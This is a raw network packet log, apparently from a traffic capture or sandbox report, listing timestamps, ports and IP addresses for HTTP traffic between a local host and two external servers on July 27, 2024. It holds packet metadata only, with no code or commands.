Jul 27, 2024 05:39:08.919821024 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919843912 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919852018 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919883966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919903040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919907093 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919938087 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.919955969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919981003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.919987917 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920033932 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920037031 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920078993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920084953 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920116901 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920128107 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920147896 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920164108 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920190096 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920195103 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920227051 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920243025 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920269012 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920274019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920305967 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920320988 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920346022 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920351982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920383930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920397997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920414925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920424938 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920448065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920469999 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920478106 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920499086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920602083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920638084 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920663118 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920671940 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920695066 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920702934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920727968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920739889 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920747995 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920770884 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920780897 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920803070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920813084 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920833111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920844078 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920865059 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920875072 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920893908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920906067 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920924902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920934916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.920957088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.920965910 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921003103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921010017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921044111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921053886 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921089888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921122074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921143055 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921150923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921180010 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921199083 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921211958 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921241045 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921247005 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921278954 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921288967 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921320915 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921327114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921361923 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921371937 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921392918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921401978 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921437979 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921443939 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921474934 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921482086 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921505928 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921530008 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921538115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921561003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921569109 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921581984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921616077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921646118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921659946 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921694040 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921696901 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921725035 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921751976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921775103 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921782017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921794891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921813965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921829939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921844006 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921854973 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921876907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921886921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921907902 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921920061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921940088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921950102 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.921973944 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.921984911 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922005892 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922017097 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922036886 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922056913 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922068119 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922075033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922089100 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922099113 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922111034 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922131062 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922161102 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922180891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922192097 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922215939 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922223091 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922247887 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922255039 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922266960 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922286034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922302961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922317028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922327042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922347069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922357082 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922379971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.922389030 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.922420979 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928576946 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928605080 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928631067 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928656101 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928683043 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928730965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928734064 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928762913 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928776026 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928793907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928803921 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928826094 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928834915 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928858042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.928870916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.928914070 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.961848974 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.961915016 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.961947918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.961961031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.961980104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.961982012 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.961999893 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962013960 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962023973 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962045908 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962054968 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962079048 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962109089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962124109 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962141037 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962162971 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962171078 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962197065 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962204933 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962215900 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962249994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962254047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962285995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962296009 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962327003 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962332964 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962373972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962376118 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962414980 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962424994 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962476969 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962507963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962532043 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962539911 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962563992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962572098 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962599993 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962605000 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962616920 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962636948 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962651014 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962670088 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962677956 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962701082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962732077 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962754011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962763071 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962785006 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962794065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962819099 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962826014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962837934 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962858915 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:08.962871075 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:08.962897062 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.009388924 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.009437084 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.009469032 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.009499073 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.009529114 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.009560108 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.009592056 CEST	80	49477	85.28.47.31	192.168.2.4
Jul 27, 2024 05:39:09.009689093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.009689093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.009689093 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.010153055 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010199070 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.010202885 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010221004 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.010232925 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010246038 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.010277987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.010281086 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010313034 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010325909 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.010343075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010353088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.010375023 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010384083 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.010406017 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.010416031 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.010446072 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.011451006 CEST	49477	80	192.168.2.4	85.28.47.31
Jul 27, 2024 05:39:09.012741089 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.012792110 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.012803078 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.012835026 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.012839079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.012871027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.012885094 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.012911081 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.012917042 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.012955904 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.012958050 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013003111 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013050079 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013051033 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013081074 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013097048 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013113976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013130903 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013154984 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013159990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013202906 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013207912 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013238907 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013262987 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013282061 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013283968 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013328075 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013329983 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013370991 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013375998 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013406992 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013425112 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013437986 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013444901 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013470888 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013478041 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013503075 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013514042 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013534069 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013545036 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013565063 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013580084 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013595104 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013602972 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013627052 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013633966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013658047 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013689995 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013701916 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013731956 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013736963 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013767958 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013808966 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013813019 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013844967 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013856888 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013886929 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013890982 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013921976 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013952971 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.013964891 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.013983965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014003992 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014040947 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014044046 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014072895 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014091969 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014105082 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014112949 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014137030 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014146090 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014167070 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014189005 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014198065 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014218092 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014230013 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014240026 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014261007 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014292002 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014303923 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014324903 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014334917 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014357090 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014369011 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014388084 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014417887 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014430046 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014448881 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014461994 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014480114 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014496088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014516115 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014518976 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:09.014545918 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:09.014554977 CEST	49476	80	192.168.2.4	185.215.113.16
